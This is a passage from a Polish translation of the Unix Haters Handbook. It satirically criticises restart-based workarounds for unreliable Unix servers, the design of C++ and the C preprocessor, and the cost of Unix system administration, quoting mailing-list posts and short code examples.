Z powodu inżynierów HP, moje maszyny Unixowe RAPORTUJĄ błędy w sieci które ich dotykają. Te HP-ki żyją w tej samej sieci co stacje SUN, MIPS i DEC. Bardzo często mamy problem z powodu innej maszyny, ale kiedy mówimy o tym właścicielom innych maszyn (którzy, ponieważ ich maszyny wyrzucają do kosza komunikaty błędów i nie wiedzą, że ich maszyna spędza połowę czasu na retransmitowaniu pakietów), twierdzą że problem jest po naszej stronie ponieważ nasza maszyna raportuje problem!

W świecie Unixa zabija się posłańców.

Jeśli nie możesz naprawić, restartuj!

Co zatem mogą zrobić administratorzy systemów i inni których żywotne programy nie radzą sobie z błędami, złymi danymi i złymi warunkami pracy? Cóż, jeśli działa dobrze przez krótki okres czasu, można zmusić go do działania przez długi czas okresowo go restartując. To rozwiązanie nie jest niezawodne ani skalowalne, ale wystarczające do utrzymania skrzypiącego Unixa.

Oto przykład takiego obejścia, które zostało zastosowane aby utrzymać usługi poczty działające razem z zawodnym programem named:

Date: 14 May 91 05:43:35 GMTFrom: [email protected] (Theodore Ts’o)Subject: Re: DNS performance metering: a wish list for bind 4.8.4Newsgroups: comp.protocols.tcp-ip.domains

Oto co robimy żeby sobie poradzić z problemem. Napisałem program nazwany „ninit” który uruchamia nameda w trybie nofork i czeka na zakończenie. Kiedy się zakończy, ninit restartuje nowego nameda. W dodatku co 5 minut ninit budzi się i wysyła SIGIOT do nameda. To powoduje zrzucenie informacji statystycznych do /usr/tmp/named.stats. Co 60 sekund ninit próbuje uzyskać rozwiązanie nazwy używając lokalnego nameda. Jeśli nie otrzymuje odpowiedzi w krótkim czasie, zabija istniejącego nameda i startuje nowego.

Używamy tego programu na serwerach DNS MIT i na naszym koncentratorze poczty. Jest niezwykle użyteczny w łapaniu nameda na tajemniczych śmierciach lub zawieszeniach z nieznanego powodu. Jest zwłaszcza użyteczny na naszym koncentratorze poczty, ponieważ nasza kolejka poczty eksploduje jeśli stracimy rozwiązywanie nazw nawet na krótki czas.

Oczywiście, takie rozwiązanie pozostawia oczywisty problem: jak poradzić sobie z programem ninit który ma błędy? Napisać inny program restartujący ninit jeśli ten umrze z „nieznanych powodów”? Ale jak utrzymać ten program działający?

Takie podejście do błędnych programów nie jest unikalne. Następujący manual ostatnio znalazł się na naszym biurku. Nie wiemy nawet czy to żart czy nie. Sekcja BŁĘDY ujawnia, że są to błędy jakich programiści Unixowi wydają się nie być w stanie usunąć z kodów ich serwerów:

NANNY(8) Unix Programmer's Manual NANNY(8)

NAZWAnanny – Serwer uruchamiający inne serwery

132

Page 133: Unix Haters Handbook

STRESZCZENIE/etc/nanny [switch [argument]] [...switch [argument]]

OPISWiększość systemów ma pewną ilość serwerów zapewniających usługi dla

systemu i jego użytkowników. Te serwery, niestety, mają tendencję do opuszczania miejsca pracy i pozostawiania system i/lub jego użytkowników bez danej usługi. Nanny została stworzona i zaimplementowana do opiekowania się tymi serwerami w nadziei przeciwdziałania utracie podstawowych usług zapewnianych przez serwer bez potrzeby ciągłych interwencji administratora czy operatora systemu.

W dodatku, większość serwerów zapewnia logowanie danych jako ich wyjście. Te dane mają przeszkadzającą własność zajmowania miejsca na dysku na którym są przechowywane. Z drugiej strony dane te są potrzebne dla śledzenia wydarzeń i powinny być odzyskiwalne kiedy są potrzebne. Nanny radzi sobie z przepełnieniem poprzez okresowe przekierowywanie danych do nowych plików. W ten sposób dane są podzielone tak, że stare logi są usuwalne bez przeszkadzania nowym danym.

Wreszcie nanny zapewnia różne funkcje kontrolne które pozwalają administratorowi lub operatorowi systemu na manipulacje nanny i serwerami którymi się opiekuje w locie.

PRZEŁĄCZNIKI....

BŁĘDYSerwer nie może się odłączyć od nanny. To powoduje że nanny myśli że

serwer umarł i uruchamia następną kopię.W tym momencie nanny nie toleruje błędów w pliku konfiguracyjnym. Tak

więc złe nazwy plików albo pliki nie będące prawdziwym plikiem konfiguracyjnym spowodują śmierć nanny.

Nie wszystkie przełączniki są zaimplementowane.Nanny zależy bardzo mocno od funkcji sieciowych zapewnianych przez

system do komunikacji między procesami. Jeżeli kod sieciowy produkuje błędy, nanny nie toleruje tych błędów i się zaklinuje lub zapętli.

Restartowanie błędnych programów stało się powszechną praktyką, tak że MIT Project Athena automatycznie resetuje swój serwer Andrew File System (AFS) w każdą niedzielę o 4 rano. Miejmy nadzieję że nikt nie pracuje o tej porze nad dużym problemem...

133

Page 134: Unix Haters Handbook

Rozdział 10: C++

COBOL lat 90.

Pyt.: Skąd wzięły się nazwy „C” i „C++”?

Odp.: To były stopnie.

- Jerry Leichter

Było prawdopodobnie nieuniknione, że filozofia Unixa nie robienia czegokolwiek łatwego dla użytkownika spowoduje powstanie języka takiego jak C++.

Pomysł programowania obiektowo zorientowanego datuje się wstecz do Simula w latach 60., mając swój wielki czas we wczesnych 70. w Smalltalk. Inne książki mogą ci powiedzieć jak używając któregoś z tuzinów języków obiektowo zorientowanych programista będzie bardziej produktywny, jego kod będzie bardziej odporny na błędy, a koszty utrzymania będą zredukowane. Nie spodziewaj się zobaczyć którejkolwiek z tych zalet w C++.

Jest tak ponieważ C++ mija się z celem programowania obiektowo zorientowanego. Zamiast upraszczać rzeczy, C++ ustanowił nowy światowy rekord złożoności. Tak jak Unix, C++ nigdy nie był zaprojektowany, mutował w miarę jak jednak durna pomyłka po drugiej stawały się oczywiste. To jeden wielki śmietnik refleksji. Nie ma gramatyki specyfikującej język (coś co praktycznie wszystkie inne języki mają), więc nie możesz nawet powiedzieć czy dana linia kodu jest właściwa czy nie.

Porównywanie C++ do COBOLu jest nie w porządku dla COBOLu, który był zdumiewającym bohaterem inżynierii, danej technologii w tamtych czasach. Jedyną zdumiewającą rzeczą dotyczącą C++ jest to, że ktokolwiek w ogóle zmusił go do działania. Na szczęście większość programistów wie że może uniknąć C++ pisząc w większości w C, omijając większość śmiesznych funkcji których prawdopodobnie nigdy nie zrozumieją. Zwykle oznacza to że piszą swoje własne nieobiektowo zorientowane narzędzia aby mieć funkcje których potrzebują. Oczywiście oznacza to że kod jest specyficzny, niekompatybilny i niemożliwy do zrozumienia czy powtórnego użycia. Ale cienki pozór C++ tu i tam jest wystarczająca do ogłupienia kierowników żeby akceptowali ich projekty.

Firmy które są zdesperowane żeby pozbyć się zagmatwanych, nie do przeczytania, łatanych śmieci odziedziczonych kodów COBOLa są w paskudnym szoku. Ci którzy przenieśli się na C++ dopiero zaczynają zdawać sobie sprawę że nie ma tam zysków. Oczywiście jest już za późno. Ziarna katastrof programowych zostały już zasiane i są dobrze nawożone.

Assembler programowania obiektowo zorientowanego

Nie ma niczego wysokiego poziomu w C++. Aby zobaczyć dlaczego, popatrzmy na właściwości prawdziwego języka wysokiego poziomu:

- Elegancja: są proste, łatwo zrozumiałe zależności pomiędzy notacją używaną przez język wysokiego poziomu a wyrażanymi koncepcjami.

134

Page 135: Unix Haters Handbook

- Abstrakcja: każde wyrażenie w języku wysokiego poziomu opisuje dokładnie jedną koncepcję. Koncepcje mogą być opisywane niezależnie i dowolnie kombinowane.

- Siła: w języku wysokiego poziomu każdy precyzyjny i kompletny opis żądanego zachowania programu może być bezpośrednio opisany w tym języku.

Język wysokiego poziomu pozwala programistom na wyrażanie rozwiązań w sposób odpowiedni do problemu. Programy wysokiego poziomu są relatywnie proste w utrzymaniu ponieważ ich intencje są jasne. Z jednego fragmentu kodu źródłowego wysokiego poziomu współczesne kompilatory mogą wygenerować bardzo efektywny kod na szerokiej gamie sprzętu, więc kod wysokiego poziomu jest bardzo przenośny i możliwy do powtórnego użycia.

Język niskiego poziomu wymaga zwracania uwagi na niezliczone mnóstwo detali, większość z nich ma więcej wspólnego z wewnętrzymi operacjami maszyny niż z rozwiązywanym problemem. Nie tylko powoduje to że kod jest nie do przeanalizowania, ale zamyka w przestarzałości. W miarę jak nowe systemy powstają praktycznie co roku w dzisiejszych czasach, kod niskiego poziomu staje się przestarzały i musi być ręcznie łatany albo konwertowany ogromnym kosztem.

Przepraszam, twoja pamięć cieknie...

Języki wysokiego poziomu często oferują wbudowane rozwiązania dla najczęściej napotykanych problemów. Na przykład dobrze wiadomo, że ogromna większość błędów w programach wynika ze złego zarządzania pamięcią. Zanim możesz użyć obiektu, musisz zaalokować dla niego miejsce, zainicjować go w sposób właściwy, w jakiś sposób go śledzić i odpowiednio go rozmieścić. Oczywiście każde z tych zadań jest niezwykle nużące i skłonne do błędów, z katastrofalnymi konsekwencjami za najmniejszy błąd. Wykrywanie i korygowanie tych błędów jest notorycznie trudne, ponieważ są często czułe na subtelne różnice w konfiguracji i sposobie użycia przez różnych użytkowników.

Użyj wskaźnika do sktruktury (ale zapomnij zaalokować miejsca dla niego), i twój program się wywali. Użyj źle zainicjowanej struktury i uszkodzi twój program, i się wywali, ale prawdopodobnie nie od razu. Przestań śledzić obiekt, a możesz zdealokować jego miejsce w czasie kiedy jest jeszcze używany. Miasto katastrof. Lepiej zaalokować trochę więcej struktur żeby śledzić struktury dla których potrzebujesz zaalokować miejsce. Ale jeśli jesteś konserwatystą i nigdy nie oddajesz obiektu dopóki nie jesteś absolutnie pewien że nie jest już używany, uważaj. Bardzo szybko wypełnisz pamięć nie zwolnionymi obiektami i twój program się wywali. To jest straszliwy „wyciek pamięci”.

Co się dzieje kiedy przestrzeń pamięci staje się pofragmentowana? Normalnie rozwiązaniem byłoby posprzątanie przez poprzestawianie obiektów, ale nie możesz tego zrobić w C++ - jeśli zapomnisz zaktualizować wszystkich powiązań do wszystkich obiektów lub zrobisz to źle, uszkodzisz swój program który się wywali.

Większość prawdziwych języków wysokiego poziomu daje rozwiązanie – nazywane garbage collector. Śledzi wszystkie twoje obiekty, sprząta je kiedy nie są już potrzebne i nigdy się nie myli. Kiedy używasz języka z wbudowanym garbage collectorem, ma miejsce kilka wspaniałych rzeczy:

- Ogromna większość twoich błędów natychmiast znika. Czy to nie miłe?- Twój kod jest mniejszy i łatwiejszy do pisania i zrozumienia, ponieważ nie jest

zamieszany w szczegóły zarządzania pamięcią.- Twój kod ma większe szanse na działanie z maksymalną efektywnością na wielu

różnych platformach w wielu różnych konfiguracjach.

135

Page 136: Unix Haters Handbook

Użytkownicy C niestety są zmuszeni do ręcznego zbierania swoich śmieci. Wielu osobom wyprano mózg i myślą że jest to w jakiś sposób bardziej efektywne niż używanie czegoś napisanego przez ekspertów specjalnie dla platformy której używają. Te same osoby prawdopodobnie wolą tworzyć pliki na dysku przez odwoływanie się do talerza, ścieżki i numeru sektora zamiast nazwy. To może być bardziej efektywne raz czy dwa razy w danej konfiguracji, ale na pewno nie chciałbyś w ten sposób używać edytora tekstu.

Nie musisz wierzyć nam na słowo. Przeczytaj The Measured Cost of Conservative Garbage Collection autorstwa B. Zorna (Technical Report CU-CS-573-92, University of Colorado at Boulder) gdzie opisano wyniki badań porównujących wydajność technik zarządzania pamięcią optymalizowanych przez programistę w C ze standarowym garbage collectorem. Programiści C mieli znacząco gorszą wydajność zbierając swoje śmiecie.

OK., przypuśćmy że jesteś jednym z oświeconych programistów C++ którzy chcą mieć garbage collector. Nie jesteś sam, wielu ludzi zgadza się że to dobry pomysł, i próbują napisać coś takiego. Zgadnij co się dzieje. Wygląda na to że nie możesz dodać garbage collectora do C++ i otrzymać czegoś w przybliżeniu tak dobrego jak język z wbudowanym. Pierwsza sprawa jest taka (niespodzianka!), że obiekty w C nie są już obiektami kiedy twój kod jest skompilowany i działa. Są częścią ciągłego heksadecymalnego szlamu. Nie ma informacji typu dynamicznego – nie ma sposobu żeby jakiś garbage collector (albo w tym przypadku użytkownik czy debugger) mógł wskazać na losowe miejsce w pamięci i z całkowitą pewnością stwierdzić jaki obiekt tam jest, jakiego jest typu i czy ktoś go używa w danym momencie.

Druga sprawa jest taka, że nawet gdybyś mógł napisać garbage collector który tylko czasami wykrywałby obiekty, nadal będziesz wkurzony jeśli spróbujesz ponownie użyć kodu od kogokolwiek innego kto nie używa twojego systemu. Ponieważ nie ma standardowego garbage collectora w C++, to najprawdopodobniej nastąpi. Powiedzmy że piszę bazę danych z własnym garbage collectorem, a ty system okien z własnym. Kiedy zamkniesz jedno ze swoich okien zawierających jeden z moich rekordów bazy danych, twoje okno nie będzie wiedziało jak powiadomić mój rekord że nie jest już powiązany. Te obiekty będą sobie wisieć dopóki nie skończy się cała dostępna pamięć – znów wyciek pamięci.

Trudny do nauczenia i tak ma zostać

C++ ma wspólną bardzo ważną cechę z assemblerem – jest bardzo trudny do nauczenia się i używania, a jeszcze trudniejszy do porządnego nauczenia się i używania.

Date: Mon, 8 Apr 91 11:29:56 PDTFrom: Daniel Weise <[email protected]>To: UNIX-HATERSSubject: From their cradle to our grave.

Jednym z powodów dla którego programy Unixowe są tak kruche i nieodporne na błędy jest to, że koderzy C są uczeni od dzieciństwa takiego ich pisania. Na przykład jeden z pierwszych programów w książce Stroustrupa o C++ (ten po programie „hello world”, który swoją drogą kompiluje się do 300 kB pliku), to program przeprowadzający konwersję cali na centymetry i centymetrów na cale. Użytkownik wskazuje jednostkę wejściową poprzez dodanie „i” dla cali i „c” dla centymetrów. Oto zarys programu, napisanego w prawdziwym stylu C i Unixa:

#include <stream.h>

136

Page 137: Unix Haters Handbook

main() {[deklaracje]cin >> x >> ch;

;; Poroniony pomysł.;; Najpierw czytaj x, potem czytaj ch.

if (ch == 'i') [przypadek "i"]else if (ch == 'c') [przypadek "c"]else in = cm = 0;

;; Tak jest, nie komunikuj błędu.;; Po prostu zrób coś arbitralnie.

[przeprowadź konwersję] }

Trzynaście stron dalej (strona 31) dany jest przykład implementujący tablice z indeksami w zakresie od n do m, zamiast od zwykłych 0 do m. Jeśli programista poda zły indeks, program wesoło zwróci pierwszy element tablicy. Unixowe uszkodzenie mózgu na zawsze!

Syntaktyczny syrop z ipekakuany

Syntaktyczny cukier powoduje raka średnika. - Alan Perlis

Praktycznie każdy rodzaj błędu składni jaki możesz popełnić w C został przedefiniowany w C++ tak, że produkuje kompilowalny kod. Niestety, te błędy składni nie zawsze produkują prawidłowy kod. Powód jest taki, że ludzie nie są doskonali. Robią literówki. W C, nieważne jak zły był, te literówki zwykle wyłapywał kompilator. W C++ przemykają się bokiem, obiecując ból głowy kiedy ktoś próbuje uruchomić kod.

Składniowa irytacja C++ wynika z jego dziedzictwa. C++ nigdy nie został formalnie zaprojektowany: urósł. W miarę ewolucji C++ pewna liczba konstrukcji została dodana co wprowadziło niejasności do języka. Tworzono ad hoc reguły aby to wyjaśnić. W efekcie powstał język z tak nonsensownymi regułami, że nie można się ich nauczyć. Zamiast tego większość programistów trzyma je na podręcznej kartce albo po prostu odmawia używania wszystkich funkcji C++ i programuje w ograniczonym podzestawie.

Na przykład jest reguła C++ która mówi że każdy ciąg może być przetwarzany albo jako deklaracja albo jako instrukcja która ma być traktowana jak deklaracja. Eksperci od parserów kulą się kiedy czytają takie rzeczy ponieważ wiedzą że takie reguły są bardzo trudne do poprawnego zaimplementowania. Nawet AT&T nie spełnia wszystkich tych reguł. Na przykład kiedy Jim Roskind próbował zrozumieć znaczenie pewnych konstrukcji – fragmentów kodu o których uważał że mogą być różne interpretowane przez rozsądnych ludzi – zapisał je i nakarmił nimi kompilator AT&T „cfront”. Cfront wywalił się.

Rzeczywiście, jeżeli pobierzesz darmową gramatykę C++ Jima Roskinda z ics.uci.edu, znajdziesz następującą uwagę w pliku c++grammar2.0.tar.Z w katalogu ftp/pub: „Należy zaznaczyć że moja gramatyka nie może być całkowicie zgodna z implementacjami takimi jak cfront ponieważ: a) moja gramatyka jest wewnętrznie spójna (w większości dzięki swojej formalnej naturze i weryfikacji przez yacc), i b) parsery wygenerowane przez yacc nie zrzucają core. (Prawdopodobnie wielu się z tym nie zgodzi, ale... zawsze kiedy miałem problem ze zrozumieniem co oznacza składniowo jakaś konstrukcja co do której ARM wyrażał się niejasno i nakarmiłem nią cfront, cfront zrzucał core.)”

137

Page 138: Unix Haters Handbook

Date: Sun, 21 May 89 18:02:14 PDTFrom: tiemann (Michael Tiemann)To: [email protected]: UNIX-HATERSSubject: C++ Comments

Date: 21 May 89 23:59:37 GMTFrom: [email protected] (Scott Meyers)Newsgroups: comp.lang.c++Organization: Brown University Dept. of Computer Science

Rozważcie następującą linię kodu źródłowego C++:

//**********************

Jak takie coś powinno być traktowane przez kompilator C++? Kompilator GNU g++ traktuje to jako komentarz do końca linii po którym następuje grupa gwiazdek, ale kompilator AT&T traktuje to jak ukośnik po którym następuje otwarty ogranicznik komentarza. Potrzebna mi poprzednia interpretacja i nie mogę niczego znaleźć w książce Stroustrupa co wskazywałoby że mam spodziewać się jakiejś innej interpretacji.

Kompilacja z opcją –E szybko pokazuje że sprawcą jest preprocesor, więc mam dwa pytania:

1. Czy jest błąd w preprocesorze AT&T? Jeśli nie, dlaczego nie? Jeśli tak, czy będzie naprawiony w wersji 2.0 czy utkniemy z nim?

2. Czy jest błąd w preprocesorze GNU? Jeśli tak, dlaczego?

Scott [email protected]

Jest antyczna zasada w Unixie że token powinien być akceptowany w najdłuższej akceptowalnej formie. Tak więc ‘foo’ nie jest przetwarzany jako trzy identyfikatory ‘f’,’o’,’o’ ale jako jeden – ‘foo’. Zobacz jak użyteczna to reguła w poniższym programie (i co za rozsądny wybór ‘/*’ do ograniczania komentarzy):

double qdiv (p, q)double *p, *q;{return *p/*q;}

Dlaczego zatem ta sama reguła nie jest stosowana w przypadku C++? Proste. To jest błąd.

Michael

Najgorsze ze wszystkiego, największy problem z C++ dla tych którzy używają go na co dzień jest taki, że nawet z ograniczonym podzestawem jest trudny do czytania i zrozumienia. Trudno wziąć kod C++ innego programisty, popatrzeć na niego i szybko się zorientować o co chodzi. Ten język nie ma smaku. To brzydka kupa śmieci. C++ to język który chce samego siebie opisywać jako obiektowo zorientowany bez akceptowania żadnego

138

Page 139: Unix Haters Handbook

prawdziwego obowiązku orientacji obiektowej. C++ przypuszcza że ktokolwiek na tyle zaawansowany że chce mieć garbage collector, dynamiczne ładowanie i inne podobne funkcje jest na tyle zaawansowany, że zaimplementuje je sobie we własnym zakresie, ma czas to zrobić i zdebuggować implementację.

Prawdziwą siłą przeładowania operatorów C++ jest to, że dzięki nim można zamienić całkiem prosty kod w coś co może rywalizować z najgorszym kodem APL, ADA albo FORTH jaki kiedykolwiek możesz spotkać. Każdy programista C++ może stworzyć swój własny dialekt, który może być kompletnie nieznany żadnemu innemu programiście C++.

Ale – hej – w C++ nawet standardowe dialekty są prywatne.

Abstrakcja od czego?

Możesz myśleć że składnia C++ jest najgorsza, ale tylko wtedy kiedy zaczynasz się go uczyć. Kiedy zaczniesz pisać główny projekt w C++ zaczniesz zdawać sobie sprawę, że C++ jest fundamentalnie kaleki w sferze abstrakcji. Jak mówi każda nauka komputerowa, to jest podstawowe źródło wpływu na rozsądny projekt.

Złożoność powstaje z interakcji pomiędzy różnymi częściami systemu. Jeśli masz program mający 100.000 linii, i każda linia kodu może zależeć w jakiś sposób od jakiegoś szczegółu występującego w jakiejś innej linii kodu, musisz uważać na 10.000.000.000 możliwych interakcji. Abstrakcja to sztuka ograniczania tych interakcji poprzez ich kanalizowanie poprzez kilka dobrze udokumentowanych interfejsów. Fragment kodu implementujący jakąś funkcjonalność powinien być ukryty za ścianą modularności.

Klasy, główny punkt C++, są zaimplementowane w sposób wykluczający modularność. Odsłaniają wewnętrzną organizację do tego stopnia, że użytkownik klasy jest całkowicie uzależniony od szczegółów implementacji tej klasy. W większości przypadków zmiana klas wymusza rekompilację całego kodu który mógłby się do nich odnosić. Najczęściej prowadzi to do zastoju kiedy całe systemy muszą być rekompilowane. Twoje programy nie są dłużej „miękkie” i plastyczne, przypominają raczej szybko wiążący cement.

Oczywiście, musisz połowę swojego kodu umieścić w plikach nagłówkowych aby zadeklarować swoje klasy całej reszcie świata. Oczywiście rozróżnienia publiczne/prywatne zapewniane przez deklarację klas są bezużyteczne ponieważ informacje „prywatne” są w nagłówku i tym samym są publicznymi informacjami. Skoro raz się tu znajdą, będziesz czuł obrzydzenie do ich zmian, ponieważ to wymusza straszliwą rekompilację. Programiści zaczynają chodzić nadzwyczaj długimi ścieżkami albo zmieniają funkcjonalność przez pokręcone mechanizmy które pozwalają uniknąć zmiany plików nagłówkowych. Mogą wpaść na jakiś inny mechanizm ochronny, ale jest tak wiele sposobów na ich ominięcie, są to słabe zderzaki dla kogoś komu się spieszy do złamania protokołu. Nazwij wszystko void* i gotowe, nie ma denerwującego sprawdzania typów.

Wiele innych języków oferuje przemyślane mechanizmy dla różnych rodzajów abstrakcji. C++ oferuje niektóre z nich, ale brakuje w nim wielu ważnych rzeczy. Rzeczy które oferuje są pomieszane i trudne do zrozumienia. Znacie kogokolwiek kto lubi używać szablonów? W efekcie mamy wiele rodzajów koncepcji wyrażanych różnie w zależności od kontekstu w jakim się pojawiają i jak są używane. Wiele ważnych koncepcji w ogóle nie może być wyrażonych w prosty sposób; a kiedy zostaną wyrażone nie można im nadać nazwy do której można by się bezpośrednio odwoływać.

Na przykład przestrzeń nazewnicza jest powszechnym sposobem zapobiegania kolizjom między nazwami właściwymi dla jednej partii kodu z nazwami z innej partii kodu. Program dla producenta ubrań może mieć klasę nazwaną Guzik i może być zlinkowany z interfejsem użytkownika który też ma klasę o nazwie Guzik. Z przestrzeniami nazewniczymi

139

Page 140: Unix Haters Handbook

nie ma z tym problemu, jako że zasady użycia i znaczenie obu koncepcji są jasne i łatwe do utrzymania.

W C++ nie ma tak dobrze. Nie ma sposobu na upewnienie się że nie wziąłeś nazwy której użyłeś gdzieś indziej w programie, z prawdopodobnie katastrofalnymi konsekwencjami. Twoją jedyną szansą jest zniekształcanie kodu nonsensownymi prefiksami jak ZjxGuzik i nadzieja, że nikt inny tego samego nie zrobił.

Date: Fri, 18 Mar 94 10:52:58 PSTFrom: Scott L. Burson <[email protected]>Subject: preprocessor

Świry C mówią, że jedną z najlepszych funkcji C jest preprocesor. Tak naprawdę jest chyba najgorszą. Wiele programów C to niezrozumiałe szczurze nory #ifdef-ów. (Prawie by ich nie było gdyby różne wersje Unixa były ze sobą kompatybilne). Ale to tylko początek.

Najgorszy problem z preprocesorem C jest to, że zamyka świat Unixa w więzieniu pliku tekstowego i wyrzuca klucz. Jest naprawdę niemożliwe użyteczne przechowywanie kodu źródłowego C w żadnej innej formie oprócz liniowych plików tekstowych. Dlaczego? Ponieważ nie jest możliwe przetworzenie kodu C bez wcześniejszego przepuszczenia przez preprocesor. Rozważmy na przykład:

#ifdef BSDint foo() {#elsevoid foo() {#endif/* ... */}

Tutaj funkcja foo ma dwa różne początki, zależnie od tego czy makro ‘BSD’ jest zdefiniowane czy nie. Przetworzenie takiego czegoś w oryginalnej formie jest niemożliwe (według naszej wiedzy nigdy nie zostało zrobione).

Dlaczego jest to takie okropne? Ponieważ ogranicza ilość inteligencji jaką możemy włożyć w nasze środowisko programistyczne. Większość programistów Unixowych nie używało takich środowisk i nie wiedzą co stracili, ale było wiele rodzajów bardzo użytecznych funkcji które mogłyby być łatwo dostępne gdyby automatyczna analiza kodu źródłowego byłaby możliwa.

Popatrzmy na przykład. Przez większość czasu kiedy C funkcjonuje, preprocesor był jedyną drogą do otwarcie kodowanych wyrażeń (kompilowanych przez wstawienie bezpośrednio do strumienia instrukcji, nie jako wywołanie funkcji). Dla bardzo prostych i często używanych wyrażeń otwarte kodowanie jest ważną i efektywną techniką. Na przykład min, o którym mówimy powyżej, jest powszechnie definiowane jako makro preprocesora:

#define min(x,y) ((x) < (y) ? (x) : (y))

Przypuśćmy że chcesz napisać program który wyświetli listę wszystkich funkcji w jakimś programie które są powiązane z min. Wygląda na proste zadanie, prawda?

Ale nie możesz powiedzieć gdzie są powiązania funkcji bez przetworzenia kodu, a nie możesz przetworzyć kodu bez przepuszczenia go przez preprocesor, a jeśli

140

Page 141: Unix Haters Handbook

to zrobisz, wszystkie miejsca gdzie występuje min zostaną usunięte! Tak więc utknąłeś i uruchamiasz grep.

Są także inne problemy z używaniem preprocesora do otwartego kodowania. W powyższym makro min zauważysz najwyraźniej nadmiarowe nawiasy. W praktyce te nawiasy muszą być umieszczone, albo kiedy makro min zostanie rozwinięte wewnątrz innego wyrażenia, rezultat może zostać przetworzony w niewłaściwy sposób. (Właściwie nie wszystkie sa konieczne – które mogą zostać pominięte i dlaczego jest pozostawione jako ćwiczenie dla czytelnika).

Ale najpaskudniejszym problemem z makro min jest to że chociaż jego wywołanie wygląda jak wywołanie funkcji, nie zachowuje się jak wywołanie funkcji.

Rozważ:

a = min(b++, c);

Przez podstawienie tekstu, to będzie rozwinięte do:

a = ((b++) < (c) ? (b++) : (c))

Więc jeśli ‘b’ jest mniejsze niż ‘c’, ‘b’ będzie powiększone dwa razy zamiast jednego razu, i wartość zwrócona będzie oryginalną wartością ‘b’ plus jeden. Gdyby min było funkcją, z drugiej strony, ‘b’ byłby zwiększony tylko raz i zwrócona wartość byłaby oryginalną wartością ‘b’.

C++ ma się do C tak jak rak płuc do płuc

„Jeżeli C daje ci wystarczająco dużo liny żeby się powiesić, C++ daje ci wystarczająco dużo liny żeby związać i zakneblować swoich sąsiadów, powiesić żagle na małym statku i ciągle masz wystarczająco dużo liny żeby powiesić się na maszcie.”

- Anonim

Smutne, ale prawdopodobnie w dobrze zrozumiałym interesie każdego naukowca komputerowego i programisty jest nauczenie się C++. Szybko staje się on elementem w życiorysie. W ciągu kilku ostatnich lat poznaliśmy wielu programistów którzy umieli programować w C++, którzy nawet potrafili napisać całkiem dobre programy w tym języku...

... ale tego nienawidzili.

Ewolucja programisty

Szkoła średnia

10 PRINT "HELLO WORLD"20 END

Pierwszy rok w college

program Hello(input, output);beginwriteln ('Hello world');end.

141

Page 142: Unix Haters Handbook

Starsze lata w college

(defun hello () (print (list 'HELLO 'WORLD)))

Nowy profesjonalista

#include <stdio.h>main (argc,argv)int argc;char **argv; {printf ("Hello World!\n");}

Stary profesjonalista

#include <stream.h>

const int MAXLEN = 80;

class outstring;class outstring {

private:

int size;char str[MAXLEN];

public:outstring() { size=0; }~outstring() {size=0;}void print();void assign(char *chrs);

};void outstring::print() {

int i;for (i=0 ; i< size ; i++) cout << str[i];cout << "\n";}

void outstring::assign(char *chrs) {int i;for (i=0; chrs[i] != '\0';i++) str[i] = chrs[i];size=i;}

main (int argc, char **argv) {outstring string;

string.assign("Hello World!");string.print();}

Kierownik

“George, potrzebuję programu wypisującego ‘Hello World!’”

142

Page 143: Unix Haters Handbook

Część trzecia:

Koszmar administratora

143

Page 144: Unix Haters Handbook

Rozdział 11: Administracja systemu

Ukryty koszt Unixa.

„Gdyby samochody podlegały takiemu samemu rozwojowi jak komputery, Rolls-Royce kosztowałby 100 $, przejeżdżał milion mil na jednym galonie i raz w roku wybuchał zabijając wszystkich w środku.”

- Robert Cringely, InfoWorld

Każdy Unix wymaga Administratora Systemu, czule zwanego Sysadminem. Do obowiązków sysadmina należy:

- Stawianie systemu.- Instalowanie nowych programów.- Administrowanie kontami użytkowników.- Regulacja parametrów systemu dla osiągnięcia najlepszej wydajności.- Nadzorowanie bezpieczeństwa systemu.- Przeprowadzanie rutynowych backupów.- Wyłączanie systemu w celu instalacji nowego sprzętu.- Pomoc użytkownikom w wyjściu z tarapatów.

Praca admina Unixowego nie różni się fundamentalnie od adminów którzy nadzorują mainframe’y IBM albo oparte na PC sieci Novell. Ale w przeciwieństwie do innych systemów operacyjnych, Unix powoduje że te czynności są trudniejsze i droższe niż w przypadku innych systemów. Teza niniejszego rozdziały jest następująca: utrzymywanie systemu Unixowego jest nieekonomiczne, ponieważ łączny koszt utrzymywania Unixa w działaniu jest znacznie droższe niż utrzymywanie sprzętu na którym działa.

Osieciowane stacje Unixowe wymagają więcej administracji niż osobne stacje Unixowe ponieważ Unix czasami wyrzuca śmieci do swoich sieciowych sąsiadów. Według średniej każde 10-25 stacji Unixowych tworzy co najmniej jeden pełny etat administratora, powodując że administrowanie systemami ma przyszłość. Oczywiście, podoba sieć PC-tów czy Maców także wymaga człowieka spełniającego zadania admina. Ale ta osoba nie musi cały czas wszystkiego pilnować, zmniejszając poziom entropii Unixa do używalnego poziomu. Ta osoba zwykle ma inną pracę albo jest konsultantem dla wielu aplikacji. Niektórzy admini Unixa są przytłoczeni przez pracę.

date: wed, 5 jun 91 14:13:38 edtfrom: bruce howard <[email protected]>to: unix-haterssubject: my story

w ciągu ostatnich dwóch dni dostałem setki wiadomości „twoja poczta nie mogła być dotąd dostarczona” od unixowego mailera uucp który nie wie jak w sposób właściwy odbijać pocztę. zostałem zaatakowany, znieważony, sfrustrowany i emocjonalnie zraniony przez procesy sendmaila które są odpowiedzialne za: pętle

144

Page 145: Unix Haters Handbook

pocztowe, powtarzające się wiadomości o nieznanym błędzie nr 1 oraz tajemnicze i dowolne wersje nagłówków mojej poczty zawierające wszystkie adresy i daty w różnych miejscach. unix od czterech dni trzyma mnie cały czas na instalacjach, reinstalacjach, reformatowaniach, resetach i najwyraźniej ma wielką radość z niszczenia moich systemów plików pod koniec dnia w piątek. moja dziewczyna mnie zostawiła (mamrocząc „hacking to zły nawyk, unix to narkotyk hackera”) i zapomniałem gdzie jest mój przycisk shift. moje wyrażenia nie są już regularne. rozpacz jest moim towarzyszem.

błagam was, pomóżcie mi.

Płacenie komuś 40.000 $ rocznie za utrzymywanie 20 maszyn przekłada się na 2.000 $ na maszynę przez rok. Typowa stacja Unixowa niskiej klasy kosztuje pomiędzy 3.000 $ a 5.000 $ i jest wymieniana mniej więcej co 2 lata. Łącząc te koszty z kosztami sprzętu i oprogramowania, jasne się staje że rzekomo efektywne kosztowo „rozwiązanie” „otwartych systemów” w ogóle nie jest efektywne kosztowo.

Utrzymywanie Unixa działającego i dostrojonego

